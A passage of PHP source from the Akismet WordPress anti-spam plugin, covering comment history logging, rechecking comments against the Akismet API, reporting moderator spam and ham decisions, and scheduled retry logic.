				if ( 'akismet_' == substr( $commentmeta-&gt;meta_key, 0, 8 ) ) {
					delete_comment_meta( $commentmeta-&gt;comment_id, $commentmeta-&gt;meta_key );
					do_action( 'akismet_batch_delete_count', __FUNCTION__ );
					++$commentmeta_deleted;
				}

				$last_meta_id = $commentmeta-&gt;meta_id;
			}

			do_action( 'akismet_delete_commentmeta_batch', $commentmeta_deleted );

			// If we're getting close to max_execution_time, quit for this round.
			if ( microtime( true ) - $start_time &gt; $max_exec_time ) {
				return;
			}
		}

		if ( apply_filters( 'akismet_optimize_table', ( mt_rand( 1, 5000 ) == 11 ), $wpdb-&gt;commentmeta ) ) { // lucky number
			$wpdb-&gt;query( &quot;OPTIMIZE TABLE {$wpdb-&gt;commentmeta}&quot; );
		}
	}

	// how many approved comments does this author have?
	public static function get_user_comments_approved( $user_id, $comment_author_email, $comment_author, $comment_author_url ) {
		global $wpdb;

		/**
		 * Which comment types should be ignored when counting a user's approved comments?
		 *
		 * Some plugins add entries to the comments table that are not actual
		 * comments that could have been checked by Akismet. Allow these comments
		 * to be excluded from the &quot;approved comment count&quot; query in order to
		 * avoid artificially inflating the approved comment count.
		 *
		 * @param array $comment_types An array of comment types that won't be considered
		 *                             when counting a user's approved comments.
		 *
		 * @since 4.2.2
		 */
		$excluded_comment_types = apply_filters( 'akismet_excluded_comment_types', array() );

		$comment_type_where = '';

		if ( is_array( $excluded_comment_types ) &amp;&amp; ! empty( $excluded_comment_types ) ) {
			$excluded_comment_types = array_unique( $excluded_comment_types );

			foreach ( $excluded_comment_types as $excluded_comment_type ) {
				$comment_type_where .= $wpdb-&gt;prepare( ' AND comment_type &lt;&gt; %s ', $excluded_comment_type );
			}
		}

		if ( ! empty( $user_id ) ) {
			return (int) $wpdb-&gt;get_var( $wpdb-&gt;prepare( &quot;SELECT COUNT(*) FROM {$wpdb-&gt;comments} WHERE user_id = %d AND comment_approved = 1&quot; . $comment_type_where, $user_id ) );
		}

		if ( ! empty( $comment_author_email ) ) {
			return (int) $wpdb-&gt;get_var( $wpdb-&gt;prepare( &quot;SELECT COUNT(*) FROM {$wpdb-&gt;comments} WHERE comment_author_email = %s AND comment_author = %s AND comment_author_url = %s AND comment_approved = 1&quot; . $comment_type_where, $comment_author_email, $comment_author, $comment_author_url ) );
		}

		return 0;
	}

	/**
	 * Get the full comment history for a given comment, as an array in reverse chronological order.
	 * Each entry will have an 'event', a 'time', and possible a 'message' member (if the entry is old enough).
	 * Some entries will also have a 'user' or 'meta' member.
	 *
	 * @param int $comment_id The relevant comment ID.
	 * @return array|bool An array of history events, or false if there is no history.
	 */
	public static function get_comment_history( $comment_id ) {
		$history = get_comment_meta( $comment_id, 'akismet_history', false );
		if ( empty( $history ) || empty( $history[0] ) ) {
			return false;
		}

		/*
		// To see all variants when testing.
		$history[] = array( 'time' =&gt; 445856401, 'message' =&gt; 'Old versions of Akismet stored the message as a literal string in the commentmeta.', 'event' =&gt; null );
		$history[] = array( 'time' =&gt; 445856402, 'event' =&gt; 'recheck-spam' );
		$history[] = array( 'time' =&gt; 445856403, 'event' =&gt; 'check-spam' );
		$history[] = array( 'time' =&gt; 445856404, 'event' =&gt; 'recheck-ham' );
		$history[] = array( 'time' =&gt; 445856405, 'event' =&gt; 'check-ham' );
		$history[] = array( 'time' =&gt; 445856405, 'event' =&gt; 'check-ham-pending' );
		$history[] = array( 'time' =&gt; 445856406, 'event' =&gt; 'wp-blacklisted' );
		$history[] = array( 'time' =&gt; 445856406, 'event' =&gt; 'wp-disallowed' );
		$history[] = array( 'time' =&gt; 445856407, 'event' =&gt; 'report-spam' );
		$history[] = array( 'time' =&gt; 445856408, 'event' =&gt; 'report-spam', 'user' =&gt; 'sam' );
		$history[] = array( 'message' =&gt; 'sam reported this comment as spam (hardcoded message).', 'time' =&gt; 445856400, 'event' =&gt; 'report-spam', 'user' =&gt; 'sam' );
		$history[] = array( 'time' =&gt; 445856409, 'event' =&gt; 'report-ham', 'user' =&gt; 'sam' );
		$history[] = array( 'message' =&gt; 'sam reported this comment as ham (hardcoded message).', 'time' =&gt; 445856400, 'event' =&gt; 'report-ham', 'user' =&gt; 'sam' ); //
		$history[] = array( 'time' =&gt; 445856410, 'event' =&gt; 'cron-retry-spam' );
		$history[] = array( 'time' =&gt; 445856411, 'event' =&gt; 'cron-retry-ham' );
		$history[] = array( 'time' =&gt; 445856412, 'event' =&gt; 'check-error' ); //
		$history[] = array( 'time' =&gt; 445856413, 'event' =&gt; 'check-error', 'meta' =&gt; array( 'response' =&gt; 'The server was taking a nap.' ) );
		$history[] = array( 'time' =&gt; 445856414, 'event' =&gt; 'recheck-error' ); // Should not generate a message.
		$history[] = array( 'time' =&gt; 445856415, 'event' =&gt; 'recheck-error', 'meta' =&gt; array( 'response' =&gt; 'The server was taking a nap.' ) );
		$history[] = array( 'time' =&gt; 445856416, 'event' =&gt; 'status-changedtrash' );
		$history[] = array( 'time' =&gt; 445856417, 'event' =&gt; 'status-changedspam' );
		$history[] = array( 'time' =&gt; 445856418, 'event' =&gt; 'status-changedhold' );
		$history[] = array( 'time' =&gt; 445856419, 'event' =&gt; 'status-changedapprove' );
		$history[] = array( 'time' =&gt; 445856420, 'event' =&gt; 'status-changed-trash' );
		$history[] = array( 'time' =&gt; 445856421, 'event' =&gt; 'status-changed-spam' );
		$history[] = array( 'time' =&gt; 445856422, 'event' =&gt; 'status-changed-hold' );
		$history[] = array( 'time' =&gt; 445856423, 'event' =&gt; 'status-changed-approve' );
		$history[] = array( 'time' =&gt; 445856424, 'event' =&gt; 'status-trash', 'user' =&gt; 'sam' );
		$history[] = array( 'time' =&gt; 445856425, 'event' =&gt; 'status-spam', 'user' =&gt; 'sam' );
		$history[] = array( 'time' =&gt; 445856426, 'event' =&gt; 'status-hold', 'user' =&gt; 'sam' );
		$history[] = array( 'time' =&gt; 445856427, 'event' =&gt; 'status-approve', 'user' =&gt; 'sam' );
		$history[] = array( 'time' =&gt; 445856427, 'event' =&gt; 'webhook-spam' );
		$history[] = array( 'time' =&gt; 445856427, 'event' =&gt; 'webhook-ham' );
		$history[] = array( 'time' =&gt; 445856427, 'event' =&gt; 'webhook-spam-noaction' );
		$history[] = array( 'time' =&gt; 445856427, 'event' =&gt; 'webhook-ham-noaction' );
		*/

		usort( $history, array( 'Akismet', '_cmp_time' ) );
		return $history;
	}

	/**
	 * Log an event for a given comment, storing it in comment_meta.
	 *
	 * @param int    $comment_id The ID of the relevant comment.
	 * @param string $message The string description of the event. No longer used.
	 * @param string $event The event code.
	 * @param array  $meta Metadata about the history entry. e.g., the user that reported or changed the status of a given comment.
	 */
	public static function update_comment_history( $comment_id, $message, $event = null, $meta = null ) {
		global $current_user;

		$user = '';

		$event = array(
			'time'  =&gt; self::_get_microtime(),
			'event' =&gt; $event,
		);

		if ( is_object( $current_user ) &amp;&amp; isset( $current_user-&gt;user_login ) ) {
			$event['user'] = $current_user-&gt;user_login;
		}

		if ( ! empty( $meta ) ) {
			$event['meta'] = $meta;
		}

		// $unique = false so as to allow multiple values per comment
		$r = add_comment_meta( $comment_id, 'akismet_history', $event, false );
	}

	public static function check_db_comment( $id, $recheck_reason = 'recheck_queue' ) {
		global $wpdb;

		if ( ! self::get_api_key() ) {
			return new WP_Error( 'akismet-not-configured', __( 'Akismet is not configured. Please enter an API key.', 'akismet' ) );
		}

		$c = $wpdb-&gt;get_row( $wpdb-&gt;prepare( &quot;SELECT * FROM {$wpdb-&gt;comments} WHERE comment_ID = %d&quot;, $id ), ARRAY_A );

		if ( ! $c ) {
			return new WP_Error( 'invalid-comment-id', __( 'Comment not found.', 'akismet' ) );
		}

		$c['user_ip']        = $c['comment_author_IP'];
		$c['user_agent']     = $c['comment_agent'];
		$c['referrer']       = '';
		$c['blog']           = get_option( 'home' );
		$c['blog_lang']      = get_locale();
		$c['blog_charset']   = get_option( 'blog_charset' );
		$c['permalink']      = get_permalink( $c['comment_post_ID'] );
		$c['recheck_reason'] = $recheck_reason;

		$c['user_role'] = '';
		if ( ! empty( $c['user_ID'] ) ) {
			$c['user_role'] = self::get_user_roles( $c['user_ID'] );
		}

		if ( self::is_test_mode() ) {
			$c['is_test'] = 'true';
		}

		$c = apply_filters( 'akismet_request_args', $c, 'comment-check' );

		$response = self::http_post( self::build_query( $c ), 'comment-check' );

		if ( ! empty( $response[1] ) ) {
			return $response[1];
		}

		return false;
	}

	public static function recheck_comment( $id, $recheck_reason = 'recheck_queue' ) {
		add_comment_meta( $id, 'akismet_rechecking', true );

		$api_response = self::check_db_comment( $id, $recheck_reason );

		if ( is_wp_error( $api_response ) ) {
			// Invalid comment ID.
		} elseif ( 'true' === $api_response ) {
			wp_set_comment_status( $id, 'spam' );
			update_comment_meta( $id, 'akismet_result', 'true' );
			delete_comment_meta( $id, 'akismet_error' );
			delete_comment_meta( $id, 'akismet_delay_moderation_email' );
			delete_comment_meta( $id, 'akismet_delayed_moderation_email' );
			delete_comment_meta( $id, 'akismet_schedule_approval_fallback' );
			delete_comment_meta( $id, 'akismet_schedule_email_fallback' );
			self::update_comment_history( $id, '', 'recheck-spam' );
		} elseif ( 'false' === $api_response ) {
			update_comment_meta( $id, 'akismet_result', 'false' );
			delete_comment_meta( $id, 'akismet_error' );
			delete_comment_meta( $id, 'akismet_delay_moderation_email' );
			delete_comment_meta( $id, 'akismet_delayed_moderation_email' );
			delete_comment_meta( $id, 'akismet_schedule_approval_fallback' );
			delete_comment_meta( $id, 'akismet_schedule_email_fallback' );
			self::update_comment_history( $id, '', 'recheck-ham' );
		} else {
			// abnormal result: error
			update_comment_meta( $id, 'akismet_result', 'error' );
			self::update_comment_history(
				$id,
				'',
				'recheck-error',
				array( 'response' =&gt; substr( $api_response, 0, 50 ) )
			);
		}

		delete_comment_meta( $id, 'akismet_rechecking' );

		return $api_response;
	}

	public static function transition_comment_status( $new_status, $old_status, $comment ) {

		if ( $new_status == $old_status ) {
			return;
		}

		if ( 'spam' === $new_status || 'spam' === $old_status ) {
			// Clear the cache of the &quot;X comments in your spam queue&quot; count on the dashboard.
			wp_cache_delete( 'akismet_spam_count', 'widget' );
		}

		// we don't need to record a history item for deleted comments
		if ( $new_status == 'delete' ) {
			return;
		}

		if ( ! current_user_can( 'edit_post', $comment-&gt;comment_post_ID ) &amp;&amp; ! current_user_can( 'moderate_comments' ) ) {
			return;
		}

		if ( defined( 'WP_IMPORTING' ) &amp;&amp; WP_IMPORTING == true ) {
			return;
		}

		// if this is present, it means the status has been changed by a re-check, not an explicit user action
		if ( get_comment_meta( $comment-&gt;comment_ID, 'akismet_rechecking' ) ) {
			return;
		}

		if ( function_exists( 'getallheaders' ) ) {
			$request_headers = getallheaders();

			foreach ( $request_headers as $header =&gt; $value ) {
				if ( strtolower( $header ) == 'x-akismet-webhook' ) {
					// This change is due to a webhook request.
					return;
				}
			}
		}

		// Assumption alert:
		// We want to submit comments to Akismet only when a moderator explicitly spams or approves it - not if the status
		// is changed automatically by another plugin.  Unfortunately WordPress doesn't provide an unambiguous way to
		// determine why the transition_comment_status action was triggered.  And there are several different ways by which
		// to spam and unspam comments: bulk actions, ajax, links in moderation emails, the dashboard, and perhaps others.
		// We'll assume that this is an explicit user action if certain POST/GET variables exist.
		if (
			// status=spam: Marking as spam via the REST API or...
			// status=unspam: I'm not sure. Maybe this used to be used instead of status=approved? Or the UI for removing from spam but not approving has been since removed?...
			// status=approved: Unspamming via the REST API (Calypso) or...
			( isset( $_POST['status'] ) &amp;&amp; in_array( $_POST['status'], array( 'spam', 'unspam', 'approved' ) ) )
			// spam=1: Clicking &quot;Spam&quot; underneath a comment in wp-admin and allowing the AJAX request to happen.
			|| ( isset( $_POST['spam'] ) &amp;&amp; (int) $_POST['spam'] == 1 )
			// unspam=1: Clicking &quot;Not Spam&quot; underneath a comment in wp-admin and allowing the AJAX request to happen. Or, clicking &quot;Undo&quot; after marking something as spam.
			|| ( isset( $_POST['unspam'] ) &amp;&amp; (int) $_POST['unspam'] == 1 )
			// comment_status=spam/unspam: It's unclear where this is happening.
			|| ( isset( $_POST['comment_status'] ) &amp;&amp; in_array( $_POST['comment_status'], array( 'spam', 'unspam' ) ) )
			// action=spam: Choosing &quot;Mark as Spam&quot; from the Bulk Actions dropdown in wp-admin (or the &quot;Spam it&quot; link in notification emails).
			// action=unspam: Choosing &quot;Not Spam&quot; from the Bulk Actions dropdown in wp-admin.
			// action=spamcomment: Following the &quot;Spam&quot; link below a comment in wp-admin (not allowing AJAX request to happen).
			// action=unspamcomment: Following the &quot;Not Spam&quot; link below a comment in wp-admin (not allowing AJAX request to happen).
			|| ( isset( $_GET['action'] ) &amp;&amp; in_array( $_GET['action'], array( 'spam', 'unspam', 'spamcomment', 'unspamcomment' ) ) )
			// action=editedcomment: Editing a comment via wp-admin (and possibly changing its status).
			|| ( isset( $_POST['action'] ) &amp;&amp; in_array( $_POST['action'], array( 'editedcomment' ) ) )
			// for=jetpack: Moderation via the WordPress app, Calypso, anything powered by the Jetpack connection.
			|| ( isset( $_GET['for'] ) &amp;&amp; ( 'jetpack' == $_GET['for'] ) &amp;&amp; ( ! defined( 'IS_WPCOM' ) || ! IS_WPCOM ) )
			// Certain WordPress.com API requests
			|| ( defined( 'REST_API_REQUEST' ) &amp;&amp; REST_API_REQUEST )
			// WordPress.org REST API requests
			|| ( defined( 'REST_REQUEST' ) &amp;&amp; REST_REQUEST )
		) {
			if ( $new_status == 'spam' &amp;&amp; ( $old_status == 'approved' || $old_status == 'unapproved' || ! $old_status ) ) {
				return self::submit_spam_comment( $comment-&gt;comment_ID );
			} elseif ( $old_status == 'spam' &amp;&amp; ( $new_status == 'approved' || $new_status == 'unapproved' ) ) {
				return self::submit_nonspam_comment( $comment-&gt;comment_ID );
			}
		}

		self::update_comment_history( $comment-&gt;comment_ID, '', 'status-' . $new_status );
	}

	public static function submit_spam_comment( $comment_id ) {
		global $wpdb, $current_user, $current_site;

		$comment_id = (int) $comment_id;

		$comment = $wpdb-&gt;get_row( $wpdb-&gt;prepare( &quot;SELECT * FROM {$wpdb-&gt;comments} WHERE comment_ID = %d&quot;, $comment_id ), ARRAY_A );

		if ( ! $comment ) {
			// it was deleted
			return;
		}

		if ( 'spam' != $comment['comment_approved'] ) {
			return;
		}

		self::update_comment_history( $comment_id, '', 'report-spam' );

		// If the user hasn't configured Akismet, there's nothing else to do at this point.
		if ( ! self::get_api_key() ) {
			return;
		}

		// use the original version stored in comment_meta if available
		$as_submitted = self::sanitize_comment_as_submitted( get_comment_meta( $comment_id, 'akismet_as_submitted', true ) );

		if ( $as_submitted &amp;&amp; is_array( $as_submitted ) &amp;&amp; isset( $as_submitted['comment_content'] ) ) {
			$comment = array_merge( $comment, $as_submitted );
		}

		$comment['blog']         = get_option( 'home' );
		$comment['blog_lang']    = get_locale();
		$comment['blog_charset'] = get_option( 'blog_charset' );
		$comment['permalink']    = get_permalink( $comment['comment_post_ID'] );

		if ( is_object( $current_user ) ) {
			$comment['reporter'] = $current_user-&gt;user_login;
		}

		if ( is_object( $current_site ) ) {
			$comment['site_domain'] = $current_site-&gt;domain;
		}

		$comment['user_role'] = '';
		if ( ! empty( $comment['user_ID'] ) ) {
			$comment['user_role'] = self::get_user_roles( $comment['user_ID'] );
		}

		if ( self::is_test_mode() ) {
			$comment['is_test'] = 'true';
		}

		$post = get_post( $comment['comment_post_ID'] );

		if ( ! is_null( $post ) ) {
			$comment['comment_post_modified_gmt'] = $post-&gt;post_modified_gmt;
		}

		$comment['comment_check_response'] = self::last_comment_check_response( $comment_id );

		$comment = apply_filters( 'akismet_request_args', $comment, 'submit-spam' );

		$response = self::http_post( self::build_query( $comment ), 'submit-spam' );

		update_comment_meta( $comment_id, 'akismet_user_result', 'true' );

		if ( $comment['reporter'] ) {
			update_comment_meta( $comment_id, 'akismet_user', $comment['reporter'] );
		}

		do_action( 'akismet_submit_spam_comment', $comment_id, $response[1] );
	}

	public static function submit_nonspam_comment( $comment_id ) {
		global $wpdb, $current_user, $current_site;

		$comment_id = (int) $comment_id;

		$comment = $wpdb-&gt;get_row( $wpdb-&gt;prepare( &quot;SELECT * FROM {$wpdb-&gt;comments} WHERE comment_ID = %d&quot;, $comment_id ), ARRAY_A );

		if ( ! $comment ) {
			// it was deleted
			return;
		}

		self::update_comment_history( $comment_id, '', 'report-ham' );

		// If the user hasn't configured Akismet, there's nothing else to do at this point.
		if ( ! self::get_api_key() ) {
			return;
		}

		// use the original version stored in comment_meta if available
		$as_submitted = self::sanitize_comment_as_submitted( get_comment_meta( $comment_id, 'akismet_as_submitted', true ) );

		if ( $as_submitted &amp;&amp; is_array( $as_submitted ) &amp;&amp; isset( $as_submitted['comment_content'] ) ) {
			$comment = array_merge( $comment, $as_submitted );
		}

		$comment['blog']         = get_option( 'home' );
		$comment['blog_lang']    = get_locale();
		$comment['blog_charset'] = get_option( 'blog_charset' );
		$comment['permalink']    = get_permalink( $comment['comment_post_ID'] );
		$comment['user_role']    = '';

		if ( is_object( $current_user ) ) {
			$comment['reporter'] = $current_user-&gt;user_login;
		}

		if ( is_object( $current_site ) ) {
			$comment['site_domain'] = $current_site-&gt;domain;
		}

		if ( ! empty( $comment['user_ID'] ) ) {
			$comment['user_role'] = self::get_user_roles( $comment['user_ID'] );
		}

		if ( self::is_test_mode() ) {
			$comment['is_test'] = 'true';
		}

		$post = get_post( $comment['comment_post_ID'] );

		if ( ! is_null( $post ) ) {
			$comment['comment_post_modified_gmt'] = $post-&gt;post_modified_gmt;
		}

		$comment['comment_check_response'] = self::last_comment_check_response( $comment_id );

		$comment = apply_filters( 'akismet_request_args', $comment, 'submit-ham' );

		$response = self::http_post( self::build_query( $comment ), 'submit-ham' );

		update_comment_meta( $comment_id, 'akismet_user_result', 'false' );

		if ( $comment['reporter'] ) {
			update_comment_meta( $comment_id, 'akismet_user', $comment['reporter'] );
		}

		do_action( 'akismet_submit_nonspam_comment', $comment_id, $response[1] );
	}

	public static function cron_recheck() {
		global $wpdb;

		$api_key = self::get_api_key();

		$status = self::verify_key( $api_key );
		if ( get_option( 'akismet_alert_code' ) || $status == 'invalid' ) {
			// since there is currently a problem with the key, reschedule a check for 6 hours hence
			wp_schedule_single_event( time() + 21600, 'akismet_schedule_cron_recheck' );
			do_action( 'akismet_scheduled_recheck', 'key-problem-' . get_option( 'akismet_alert_code' ) . '-' . $status );
			return false;
		}

		delete_option( 'akismet_available_servers' );

		$comment_errors = $wpdb-&gt;get_col( &quot;SELECT comment_id FROM {$wpdb-&gt;commentmeta} WHERE meta_key = 'akismet_error'	LIMIT 100&quot; );

		foreach ( (array) $comment_errors as $comment_id ) {
			// if the comment no longer exists, or is too old, remove the meta entry from the queue to avoid getting stuck
			$comment = get_comment( $comment_id );

			if (
				! $comment // Comment has been deleted
				|| strtotime( $comment-&gt;comment_date_gmt ) &lt; strtotime( '-15 days' ) // Comment is too old.
				|| $comment-&gt;comment_approved !== '0' // Comment is no longer in the Pending queue
				) {
				delete_comment_meta( $comment_id, 'akismet_error' );
				delete_comment_meta( $comment_id, 'akismet_delay_moderation_email' );
				delete_comment_meta( $comment_id, 'akismet_delayed_moderation_email' );
				delete_comment_meta( $comment_id, 'akismet_schedule_approval_fallback' );
				delete_comment_meta( $comment_id, 'akismet_schedule_email_fallback' );
				continue;
			}

			add_comment_meta( $comment_id, 'akismet_rechecking', true );
			$status = self::check_db_comment( $comment_id, 'retry' );

			$event = '';
			if ( $status == 'true' ) {
				$event = 'cron-retry-spam';
			} elseif ( $status == 'false' ) {
				$event = 'cron-retry-ham';
			}

			// If we got back a legit response then update the comment history
			// other wise just bail now and try again later.  No point in
			// re-trying all the comments once we hit one failure.
			if ( ! empty( $event ) ) {
				delete_comment_meta( $comment_id, 'akismet_error' );
				self::update_comment_history( $comment_id, '', $event );
				update_comment_meta( $comment_id, 'akismet_result', $status );
				// make sure the comment status is still pending.  if it isn't, that means the user has already moved it elsewhere.
				$comment = get_comment( $comment_id );
				if ( $comment &amp;&amp; 'unapproved' == wp_get_comment_status( $comment_id ) ) {
					if ( $status == 'true' ) {
						wp_spam_comment( $comment_id );
					} elseif ( $status == 'false' ) {
						// comment is good, but it's still in the pending queue.  depending on the moderation settings
						// we may need to change it to approved.
						if ( check_comment( $comment-&gt;comment_author, $comment-&gt;comment_author_email, $comment-&gt;comment_author_url, $comment-&gt;comment_content, $comment-&gt;comment_author_IP, $comment-&gt;comment_agent, $comment-&gt;comment_type ) ) {
							wp_set_comment_status( $comment_id, 1 );
						} elseif ( get_comment_meta( $comment_id, 'akismet_delayed_moderation_email', true ) ) {
							wp_new_comment_notify_moderator( $comment_id );
							wp_new_comment_notify_postauthor( $comment_id );
						}
					}
				}

				delete_comment_meta( $comment_id, 'akismet_delay_moderation_email' );
				delete_comment_meta( $comment_id, 'akismet_delayed_moderation_email' );
			} else {
				// If this comment has been pending moderation for longer than MAX_DELAY_BEFORE_MODERATION_EMAIL,
				// send a moderation email now.
				if ( ( intval( gmdate( 'U' ) ) - strtotime( $comment-&gt;comment_date_gmt ) ) &lt; self::MAX_DELAY_BEFORE_MODERATION_EMAIL ) {
					delete_comment_meta( $comment_id, 'akismet_delay_moderation_email' );
					delete_comment_meta( $comment_id, 'akismet_delayed_moderation_email' );

					wp_new_comment_notify_moderator( $comment_id );
					wp_new_comment_notify_postauthor( $comment_id );
				}

				delete_comment_meta( $comment_id, 'akismet_rechecking' );
				wp_schedule_single_event( time() + 1200, 'akismet_schedule_cron_recheck' );
				do_action( 'akismet_scheduled_recheck', 'check-db-comment-' . $status );

				return;
			}

			delete_comment_meta( $comment_id, 'akismet_rechecking' );
		}

		$remaining = $wpdb-&gt;get_var( &quot;SELECT COUNT(*) FROM {$wpdb-&gt;commentmeta} WHERE meta_key = 'akismet_error'&quot; );

		if ( $remaining &amp;&amp; ! wp_next_scheduled( 'akismet_schedule_cron_recheck' ) ) {
			wp_schedule_single_event( time() + 1200, 'akismet_schedule_cron_recheck' );
			do_action( 'akismet_scheduled_recheck', 'remaining' );
		}
	}

	public static function fix_scheduled_recheck() {
		$future_check = wp_next_scheduled( 'akismet_schedule_cron_recheck' );
		if ( ! $future_check ) {
			return;
		}

		if ( get_option( 'akismet_alert_code' ) &gt; 0 ) {
			return;
		}

		$check_range = time() + 1200;
		if ( $future_check &gt; $check_range ) {
			wp_clear_scheduled_hook( 'akismet_schedule_cron_recheck' );
			wp_schedule_single_event( time() + 300, 'akismet_schedule_cron_recheck' );
			do_action( 'akismet_scheduled_recheck', 'fix-scheduled-recheck' );
		}
	}

	public static function add_comment_nonce( $post_id ) {
		/**
		 * To disable the Akismet comment nonce, add a filter for the 'akismet_comment_nonce' tag
		 * and return any string value that is not 'true' or '' (empty string).
		 *
		 * Don't return boolean false, because that implies that the 'akismet_comment_nonce' option
		 * has not been set and that Akismet should just choose the default behavior for that
		 * situation.
		 */

		if ( ! self::get_api_key() ) {
			return;
		}

		$akismet_comment_nonce_option = apply_filters( 'akismet_comment_nonce', get_option( 'akismet_comment_nonce' ) );

		if ( $akismet_comment_nonce_option == 'true' || $akismet_comment_nonce_option == '' ) {
			echo '&lt;p style=&quot;display: none;&quot;&gt;';
			wp_nonce_field( 'akismet_comment_nonce_' . $post_id, 'akismet_comment_nonce', false );
			echo '&lt;/p&gt;';
		}
	}

	public static function is_test_mode() {
		return defined( 'AKISMET_TEST_MODE' ) &amp;&amp; AKISMET_TEST_MODE;
	}

	public static function allow_discard() {
		if ( defined( 'DOING_AJAX' ) &amp;&amp; DOING_AJAX ) {
			return false;
		}
		if ( is_user_logged_in() ) {
			return false;
		}

		return ( get_option( 'akismet_strictness' ) === '1' );
	}

	public static function get_ip_address() {
		return isset( $_SERVER['REMOTE_ADDR'] ) ? $_SERVER['REMOTE_ADDR'] : null;
	}

	/**
	 * Using the unique values that we assign, do we consider these two comments
	 * to be the same instance of a comment?
	 *
	 * The only fields that matter in $comment1 and $comment2 are akismet_guid and akismet_skipped_microtime.
	 * We set both of these during the comment-check call, and if the comment has been saved to the DB,
	 * we save them as comment meta and add them back into the comment array before comparing the comments.
	 *
	 * @param mixed $comment1 A comment object or array.
	 * @param mixed $comment2 A comment object or array.
	 * @return bool Whether the two comments should be treated as the same comment.
	 */
	private static function comments_match( $comment1, $comment2 ) {
		$comment1 = (array) $comment1;
		$comment2 = (array) $comment2;

		if ( ! empty( $comment1['akismet_guid'] ) &amp;&amp; ! empty( $comment2['akismet_guid'] ) ) {
			// If the comment got sent to the API and got a response, it will have a GUID.

			return ( $comment1['akismet_guid'] == $comment2['akismet_guid'] );
		} else if ( ! empty( $comment1['akismet_skipped_microtime'] ) &amp;&amp; ! empty( $comment2['akismet_skipped_microtime'] ) ) {
			// It won't have a GUID if it didn't get sent to the API because it matched the disallowed list,
			// but it should have a microtimestamp to use here for matching against the comment DB entry it matches.
			return ( strval( $comment1['akismet_skipped_microtime'] ) == strval( $comment2['akismet_skipped_microtime'] ) );
		}

		return false;
	}

	/**
	 * Does the supplied comment match the details of the one most recently stored in self::$last_comment?
	 *
	 * @param array $comment
	 * @return bool Whether the comment supplied as an argument is a match for the one we have stored in $last_comment.
	 */
	public static function matches_last_comment( $comment ) {
		if ( ! self::$last_comment ) {
			return false;
		}

		return self::comments_match( $comment, self::$last_comment );
	}

	/**
	 * Because of the order of operations, we don't always know the comment ID of the comment that we're checking,
	 * so we have to be able to match the comment we cached locally with the comment from the DB.
	 *
	 * @param int $comment_id
	 * @return bool Whether the comment represented by $comment_id is a match for the one we have stored in $last_comment.
	 */
	public static function matches_last_comment_by_id( $comment_id ) {
		return self::matches_last_comment( self::get_fields_for_comment_matching( $comment_id ) );
	}

	/**
	 * Given a comment ID, retrieve the values that we use for matching comments together.
	 *
	 * @param int $comment_id
	 * @return array An array containing akismet_guid and akismet_skipped_microtime. Either or both may be falsy, but we hope that at least one is a string.
	 */
	public static function get_fields_for_comment_matching( $comment_id ) {
		return array(
			'akismet_guid' =&gt; get_comment_meta( $comment_id, 'akismet_guid', true ),
			'akismet_skipped_microtime' =&gt; get_comment_meta( $comment_id, 'akismet_skipped_microtime', true ),
		);
	}

	private static function get_user_agent() {
		return isset( $_SERVER['HTTP_USER_AGENT'] ) ? $_SERVER['HTTP_USER_AGENT'] : null;
	}

	private static function get_referer() {
		return isset( $_SERVER['HTTP_REFERER'] ) ? $_SERVER['HTTP_REFERER'] : null;
	}

	// return a comma-separated list of role names for the given user
	public static function get_user_roles( $user_id ) {
		$comment_user = null;
		$roles        = false;

		if ( ! class_exists( 'WP_User' ) ) {
			return false;
		}

		if ( $user_id &gt; 0 ) {
			$comment_user = new WP_User( $user_id );
			if ( isset( $comment_user-&gt;roles ) ) {
				$roles = implode( ',', $comment_user-&gt;roles );
			}
		}

		if ( is_multisite() &amp;&amp; is_super_admin( $user_id ) ) {
			if ( empty( $roles ) ) {
				$roles = 'super_admin';
			} else {
				$comment_user-&gt;roles[] = 'super_admin';
				$roles                 = implode( ',', $comment_user-&gt;roles );
			}
		}

		return $roles;
	}

	// filter handler used to return a spam result to pre_comment_approved
	public static function last_comment_status( $approved, $comment ) {
		if ( is_null( self::$last_comment_result ) ) {
			// We didn't have reason to store the result of the last check.
			return $approved;
		}

		// Only do this if it's the correct comment.
		if ( ! self::matches_last_comment( $comment ) ) {
			self::log( &quot;comment_is_spam mismatched comment, returning unaltered $approved&quot; );
			return $approved;
		}

		if ( 'trash' === $approved ) {
			// If the last comment we checked has had its approval set to 'trash',
			// then it failed the comment blacklist check. Let that blacklist override
			// the spam check, since users have the (valid) expectation that when
			// they fill out their blacklists, comments that match it will always
			// end up in the trash.
			return $approved;
		}

		// bump the counter here instead of when the filter is added to reduce the possibility of overcounting
		if ( $incr = apply_filters( 'akismet_spam_count_incr', 1 ) ) {
			update_option( 'akismet_spam_count', get_option( 'akismet_spam_count' ) + $incr );
		}

		return self::$last_comment_result;
	}

	/**
	 * If Akismet is temporarily unreachable, we don't want to &quot;spam&quot; the blogger or post author
	 * with emails for comments that will be automatically cleared or spammed on the next retry.
	 *
	 * @param bool $maybe_notify Whether the notification email will be sent.
	 * @param int   $comment_id The ID of the relevant comment.
	 * @return bool Whether the notification email should still be sent.
	 */
	public static function disable_emails_if_unreachable( $maybe_notify, $comment_id ) {
		if ( $maybe_notify ) {
			if ( get_comment_meta( $comment_id, 'akismet_delay_moderation_email', true ) ) {
				self::log( 'Disabling notification email for comment #' . $comment_id );

				update_comment_meta( $comment_id, 'akismet_delayed_moderation_email', true );
				delete_comment_meta( $comment_id, 'akismet_delay_moderation_email' );

				// If we want to prevent the email from sending another time, we'll have to reset
				// the akismet_delay_moderation_email commentmeta.

				return false;
			}
		}

		return $maybe_notify;
	}

	public static function _cmp_time( $a, $b ) {
		return $a['time'] &gt; $b['time'] ? -1 : 1;
	}

	public static function _get_microtime() {
		$mtime = explode( ' ', microtime() );
		return $mtime[1] + $mtime[0];
	}

	/**
	 * Make a POST request to the Akismet API.
	 *
	 * @param string $request The body of the request.
	 * @param string $path The path for the request.
	 * @param string $ip The specific IP address to hit.
	 * @return array A two-member array consisting of the headers and the response body, both empty in the case of a failure.
	 */
	public static function http_post( $request, $path, $ip = null ) {

		$akismet_ua = sprintf( 'WordPress/%s | Akismet/%s', $GLOBALS['wp_version'], constant( 'AKISMET_VERSION' ) );
		$akismet_ua = apply_filters( 'akismet_ua', $akismet_ua );

		$host    = self::API_HOST;
		$api_key = self::get_api_key();

		if ( $api_key ) {
			$request = add_query_arg( 'api_key', $api_key, $request );
		}

		$http_host = $host;
		// use a specific IP if provided
		// needed by Akismet_Admin::check_server_connectivity()
		if ( $ip &amp;&amp; long2ip( ip2long( $ip ) ) ) {
			$http_host = $ip;
		}

		$http_args = array(
			'body'        =&gt; $request,
			'headers'     =&gt; array(
